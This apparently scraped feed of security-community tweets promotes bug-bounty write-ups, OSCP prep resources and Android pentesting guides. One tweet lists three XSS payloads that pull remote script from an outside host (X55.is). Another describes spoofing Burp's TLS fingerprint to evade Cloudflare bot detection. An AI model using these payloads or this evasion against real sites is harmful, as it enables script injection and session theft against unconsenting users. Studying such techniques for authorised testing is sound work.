Hasan Ali

Security Researcher Currently working at BugCrowd and Hackerone

[systemd @secsystemd]

Stored XSS in markdown via the DesignReferenceFilter

Read Disclosed Report : https://t.co/hATe8NqWCZ

Report Submitted by vakzz
Bounty 16000$

[TheOuts1derX @TheOuts1derX]

10 YouTube channels you may find useful for cybersecurity and ethical hacking:

1. @NahamSec — https://t.co/SAfD3nxA2G
2. @InsiderPhD — https://t.co/8Ryrh18pGt
3. @ippsec — https://t.co/z0p6XwCoYN
4. @_JohnHammond — https://t.co/1d607Q41rx
5. @ctbbpodcast — https://t.co/LfCdbltDy3
6. @lostsec_ — https://t.co/8UirZ86jTc
7. @thexssrat — https://t.co/dADe1h3tNw
8. @amrelsagaei — https://t.co/GbWfAfTi2I
9. @rs0n_live — https://t.co/o2kgP7qrKe
10. @zack0x01_ — https://t.co/HU5qIdHTEy

#bugbounty #cybersecurity #hacking #infosec #ethicalhacking #pentesting

[0xbugatti @0xbugatti]

Built a small project over the past few days: OSCP DB
A curated database of OSCP-related repositories, filtered to focus on updated and relevant resources instead of outdated material.
Repo:
https://t.co/ngppzoSvr2⁠�
Explore it:
https://t.co/nAoMIWOmBB⁠�
preparing for OSCP

[a7madn1 @a7mad__n1]

Good morning hackers,

Read my New write up about how I got a full SQL Injection, with bypassing server side,Waf with new tecnic:

https://t.co/023t040qOT

Hope you will enjoy🥳

#bugbountytips #hacking #bugbounty #cybersecurity

[Biscuit @OreoB1scuit]

$700+ bounty Alone from android apps, self hosted hidden programs, moving to Android bug bounty in 2025 i think is a really good idea
#bugbounty #bugbountytips

[Het Mehta @hetmehtaa]

Cloudflare has recently started blocking proxy tools like Burp Suite by identifying their unique TLS and request fingerprints.

If you encounter this issue, install the “Bypass Bot Detection” extension from the BApp Store. This extension spoofs Burp’s TLS fingerprint, making it appear like normal browser traffic and bypass it.

[Hx01 @Hxzeroone]

Hello!
Just published a new research with ( @sml555_ , @codecancare) 🍻

Who Needs A Blind XSS?

https://t.co/bUpFj1p0Mh

#CyberSecurity #BugBounty

[YesWeHack ⠵ @yeswehack]

In the latest episode of #TalkiePwnii, @pwnwithlove kicks off a brand-new Android hacking series! 📱

Learn how to set up Genymotion, Android Studio and the essential tools to start hunting on mobile.

Ready? 👇

#BugBountyTips #YesWeRHackers

https://t.co/2iQTDnyY0p

[Mobile Hacker @androidmalware2]

Deep dive into Android Pentesting

Covered everything from static & dynamic analysis, Frida, Drozer, SSL pinning bypass, deep links, broadcast receivers, ADB, and more.
If you're into mobile security, this one's packed with real-world scenarios & tools
https://t.co/FGoBd8kuSd

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

SQL Injection — The Most Practical Guide for Beginners
https://t.co/kmP3ad1NRe

#bugbounty #bugbountytips #bugbountytip

[YesWeHack ⠵ @yeswehack]

Noticed Android apps getting only 5 reports while the web gets 150? 📱

Far fewer hunters tackle mobile targets because setting up a mobile testing environment is a pain. Let's change that!

Read our guide to build your Android lab once and for all 👇

https://t.co/A7EAPoKf3U

[GitHub Projects Community @GithubProjects]

https://t.co/IvaYEg6dzI

[YesWeHack ⠵ @yeswehack]

SSL pinning blocking your traffic?

Medusa by @Ch0pin comes with ready Frida scripts for common bypasses, with many modules including ssl unpinning to test against pinned apps.

Full setup guide 👉 https://t.co/A7EAPoKf3U

#BugBounty #BugBountyTips

[Hasan Ali @Hasan_ethical]

@ismailsntrk7 Interested

[InfoSec Community @InfoSecComm]

🚨 New Writeup Alert! 🚨

"Beyond the Shell: Advanced Enumeration and Privilege Escalation for OSCP (Part 3)" by Diasaddy is now live on IW!

Check it out here: https://t.co/CkPfT59rdf

#windows #informationtechnology #cybersecurity #informationsecurity #infosec

[BRute Logic @BRuteLogic]

Improve your #BugBounty reports
Using a Remote #XSS Call

1. import('//X55.is')
https://t.co/44PpUdSoC1

2. $.getScript`//X55.is` (requires jQuery)
https://t.co/ZQyAdexV0F

3. appendChild(createElement`script`).src='//X55.is' https://t.co/5u88JwaYwE

#hack2learn #hack2earn

[OffSec @offsectraining]

#OSCP exam prep resource: https://t.co/oFBakeMbG1.

Download it. Bookmark it. Share it. #RoadtoOSCP

[OffSec @offsectraining]

We've provided guidance, tips, and gathered resources you can use to prepare for the #OSCP.

All in one place.

Download the e-book: https://t.co/f9dsvvEILl

Spread the news by tagging a current or future PEN-200 student!

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

🚨 OSCP Practical Notes 🚨

https://t.co/RSrWUoPXnb

#bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp

[Emad Shanab - أبو عبد الله @Alra3ees]

“How to Learn Manual SQL Injection for OSCP(Step by Step)” by ZeusCybersec https://t.co/obGfYThXdQ